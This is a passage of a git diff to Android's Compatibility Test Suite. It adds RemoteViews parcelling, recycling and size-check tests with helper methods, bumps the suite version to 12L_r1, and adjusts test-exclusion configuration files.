+ mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, parcelAndUnparcel(items));
mRemoteViews.reapply(mActivity, mView);
});
@@ -624,6 +823,27 @@
assertEquals(11, adapter.getItemId(1));
}
+ private static RemoteCollectionItems parcelAndUnparcel(RemoteCollectionItems items) {
+ return parcelAndRun(items, RemoteCollectionItems.CREATOR::createFromParcel);
+ }
+
+ private static <T> T parcelAndRun(Parcelable parcelable, Function<Parcel, T> function) {
+ Parcel parcel = Parcel.obtain();
+ parcelable.writeToParcel(parcel, /* flags= */ 0);
+ parcel.setDataPosition(0);
+ try {
+ return function.apply(parcel);
+ } finally {
+ parcel.recycle();
+ }
+ }
+
+ private static void assertLessThan(int expected, int actual) {
+ if (actual >= expected) {
+ fail("Expected to be less than " + expected + ", but was " + actual);
+ }
+ }
+
private static final class MockBroadcastReceiver extends BroadcastReceiver {
Intent mIntent;
@@ -666,4 +886,35 @@
}
}
+ private static RemoteCollectionItems createSampleCollectionItems(int size) {
+ RemoteCollectionItems.Builder builder = new RemoteCollectionItems.Builder();
+ for (int i = 0; i < size; i++) {
+ builder.addItem(i,
+ new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline));
+ }
+ return builder.build();
+ }
+
+ private static RemoteCollectionItems createSampleMultiPackageCollectionItems(
+ int size, String otherPackage) {
+ RemoteCollectionItems.Builder builder = new RemoteCollectionItems.Builder();
+ for (int i = 0; i < size; i++) {
+ String packageName = i % 2 == 0 ? PACKAGE_NAME : otherPackage;
+ builder.addItem(i, new RemoteViews(packageName, R.layout.textview_singleline));
+ }
+ return builder.build();
+ }
+
+ /**
+ * Returns a different package on the device that can be used for testing multi-package
+ * collections.
+ */
+ private Optional<String> getAnotherPackageName() {
+ return mActivity.getPackageManager()
+ .getInstalledApplications(/* flags= */ 0)
+ .stream()
+ .filter(info -> !PACKAGE_NAME.equals(info.packageName))
+ .findFirst()
+ .map(info -> info.packageName);
+ }
}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
index ec4c0c7..c1c8892 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
@@ -28,6 +28,7 @@
import android.view.ViewGroup;
import android.widget.FrameLayout;
import android.widget.RemoteViews;
+import android.widget.TextView;
import androidx.test.InstrumentationRegistry;
import androidx.test.annotation.UiThreadTest;
@@ -369,6 +370,54 @@
recycleWhenViewIdDoesntMatchFailsInMultipleLayout(true /* async */);
}
+ private void recycleWhenViewIdDoesntMatchFailsInSimpleLayout(boolean async) throws Throwable {
+ RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle, 2);
+ applyRemoteViews(rv);
+
+ RemoteViews rv2 = createRemoteViews(R.layout.remoteviews_recycle, 3);
+ try {
+ reapplyRemoteViews(rv2, async);
+ } catch (RuntimeException ex) {
+ return; // success
+ } catch (Throwable t) {
+ fail("Excepted a RuntimeException, received " + t.toString());
+ }
+ fail("Excepted a RuntimeException, no exception received.");
+ }
+
+ @Test
+ public void recycleWhenViewIdDoesntMatchFailsInSimpleLayoutSync() throws Throwable {
+ recycleWhenViewIdDoesntMatchFailsInSimpleLayout(false /* async */);
+ }
+
+ @Test
+ public void recycleWhenViewIdDoesntMatchFailsInSimpleLayoutAsync() throws Throwable {
+ recycleWhenViewIdDoesntMatchFailsInSimpleLayout(true /* async */);
+ }
+
+ private void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(boolean async)
+ throws Throwable {
+ RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+ applyRemoteViews(rv);
+
+ RemoteViews rv2 = createRemoteViews(R.layout.remoteviews_textview);
+ rv2.setTextViewText(R.id.remoteViews_recycle_static, "New text");
+ reapplyRemoteViews(rv2, async);
+
+ TextView textView = mResult.findViewById(R.id.remoteViews_recycle_static);
+ assertEquals("New text", textView.getText());
+ }
+
+ @Test
+ public void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayoutSync() throws Throwable {
+ recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(false);
+ }
+
+ @Test
+ public void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayoutAsync() throws Throwable {
+ recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(true);
+ }
+
private void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(boolean async)
throws Throwable {
RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index fdbd6b4..0cadd73 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -55,8 +55,11 @@
import android.net.Uri;
import android.os.Bundle;
import android.os.Parcel;
+import android.os.Parcelable;
import android.text.TextUtils;
+import android.util.ArrayMap;
import android.util.DisplayMetrics;
+import android.util.SizeF;
import android.util.TypedValue;
import android.view.View;
import android.view.ViewGroup;
@@ -101,6 +104,7 @@
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.After;
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -112,6 +116,10 @@
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
/**
* Test {@link RemoteViews}.
@@ -499,12 +507,9 @@
public void testWriteToParcel() {
mRemoteViews.setTextViewText(R.id.remoteView_text, "This is content");
mRemoteViews.setViewVisibility(R.id.remoteView_frame, View.GONE);
- Parcel p = Parcel.obtain();
- mRemoteViews.writeToParcel(p, 0);
- p.setDataPosition(0);
// the package and layout are successfully written into parcel
- mRemoteViews = RemoteViews.CREATOR.createFromParcel(p);
+ mRemoteViews = parcelAndUnparcel(mRemoteViews);
View result = mRemoteViews.apply(mContext, null);
assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
@@ -512,12 +517,8 @@
.getText().toString());
assertEquals(View.GONE, result.findViewById(R.id.remoteView_frame).getVisibility());
- p = Parcel.obtain();
-
// currently the flag is not used
- mRemoteViews.writeToParcel(p, -1);
-
- p.recycle();
+ parcelAndUnparcel(mRemoteViews, /* flags= */ -1);
RemoteViews[] remote = RemoteViews.CREATOR.newArray(1);
assertNotNull(remote);
@@ -529,6 +530,51 @@
mRemoteViews.writeToParcel(null, 0);
}
+ @Test
+ public void testWriteToParcel_landscapePortrait() {
+ RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+ landscape.setTextViewText(R.id.remoteView_text, "Hello world");
+ RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+ portrait.setTextViewText(R.id.remoteView_text, "Hello world");
+ int landscapeParcelledSize = getParcelledSize(landscape);
+ mRemoteViews = new RemoteViews(landscape, portrait);
+
+ mRemoteViews = parcelAndUnparcel(mRemoteViews);
+ assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
+ View result = mRemoteViews.apply(mContext, null);
+ assertEquals("Hello world", ((TextView) result.findViewById(R.id.remoteView_text))
+ .getText().toString());
+
+ // The ApplicationInfo should only have been written once, so this should be much smaller
+ // than twice the size of parcelling one RemoteViews.
+ assertLessThan(landscapeParcelledSize * 2, getParcelledSize(mRemoteViews));
+ }
+
+ @Test
+ public void testWriteToParcel_sizeMap() {
+ List<SizeF> sizes =
+ Arrays.asList(new SizeF(50, 50), new SizeF(100, 100), new SizeF(100, 200));
+ Map<SizeF, RemoteViews> sizeMap = new ArrayMap<>();
+ int singelParcelledSize = 0;
+ for (SizeF size : sizes) {
+ RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+ views.setTextViewText(R.id.remoteView_text, "Hello world");
+ sizeMap.put(size, views);
+ singelParcelledSize = getParcelledSize(views);
+ }
+ mRemoteViews = new RemoteViews(sizeMap);
+
+ mRemoteViews = parcelAndUnparcel(mRemoteViews);
+ assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
+ View result = mRemoteViews.apply(mContext, null);
+ assertEquals("Hello world", ((TextView) result.findViewById(R.id.remoteView_text))
+ .getText().toString());
+
+ // The ApplicationInfo should only have been written once, so this should be much smaller
+ // than thrice the size of parcelling one RemoteViews.
+ assertLessThan(singelParcelledSize * 3, getParcelledSize(mRemoteViews));
+ }
+
@Test(expected=NegativeArraySizeException.class)
public void testCreateNegativeSizedArray() {
RemoteViews.CREATOR.newArray(-1);
@@ -1940,4 +1986,41 @@
runShellCommand("cmd uimode night " + (nightMode ? "yes" : "no"));
return previousMode;
}
+
+ private static RemoteViews parcelAndUnparcel(RemoteViews views) {
+ return parcelAndUnparcel(views, /* flags= */ 0);
+ }
+
+ /**
+ * Returns the result of writing {@code views} to a {@link Parcel} and then creating a new
+ * {@link RemoteViews} from the parcel.
+ */
+ private static RemoteViews parcelAndUnparcel(RemoteViews views, int flags) {
+ return parcelAndRun(views, flags, RemoteViews.CREATOR::createFromParcel);
+ }
+
+ /** Returns the data size from writing {@code parcelable} to a {@link Parcel}. */
+ private static int getParcelledSize(Parcelable parcelable) {
+ return parcelAndRun(parcelable, /* flags= */ 0, Parcel::dataSize);
+ }
+
+ private static <T> T parcelAndRun(
+ Parcelable parcelable,
+ int flags,
+ Function<Parcel, T> function) {
+ Parcel parcel = Parcel.obtain();
+ parcelable.writeToParcel(parcel, flags);
+ parcel.setDataPosition(0);
+ try {
+ return function.apply(parcel);
+ } finally {
+ parcel.recycle();
+ }
+ }
+
+ private static void assertLessThan(int expected, int actual) {
+ if (actual >= expected) {
+ Assert.fail("Expected to be less than " + expected + ", but was " + actual);
+ }
+ }
}
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index c3d97b5..f0b8e3d 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@
wrapper: "etc/cts-tradefed",
short_name: "CTS",
full_name: "Compatibility Test Suite",
- version: "12_r1",
+ version: "12L_r1",
static_libs: ["cts-tradefed-harness"],
required: ["compatibility-host-util"],
}
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index c6b4537..2732496 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -194,9 +194,6 @@
<option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetCoarseLocationUpdates_withListener" />
<option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetNetworkProviderLocationUpdates_withListener" />
- <!-- b/116002979 -->
- <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.ListeningPortsTest" />
-
<!-- b/117107760 -->
<option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testDismissDialog" />
<option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testLaunchAnyway" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index cb192cc..d4f548c 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -92,4 +92,11 @@
<!-- b/199996926 - No UWB stack support in AOSP for Android S -->
<option name="compatibility:exclude-filter" value="CtsUwbTestCases" />
+
+ <!-- b/183653612: CtsTransitionTestCases -->
+ <option name="compatibility:exclude-filter" value="CtsTransitionTestCases" />
+
+ <!-- b/198226244 -->
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.CodecEncoderPerformanceTest#testPerformanceOfHardwareVideoEncoders" />
+
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-validation.xml b/tools/cts-tradefed/res/config/cts-validation.xml
index fa8a666..5c34cb3 100644
--- a/tools/cts-tradefed/res/config/cts-validation.xml
+++ b/tools/cts-tradefed/res/config/cts-validation.xml
@@ -14,8 +14,8 @@
limitations under the License.
-->
<configuration description="Runs a subset of CTS tests using a general kernel image (GKI)">
- <option name="plan" value="cts-validation" />
<option name="result-attribute" key="GKI" value="1" />
<include name="cts-on-gsi" />
<include name="cts-validation-exclude" />
+ <option name="plan" value="cts-validation" />
</configuration>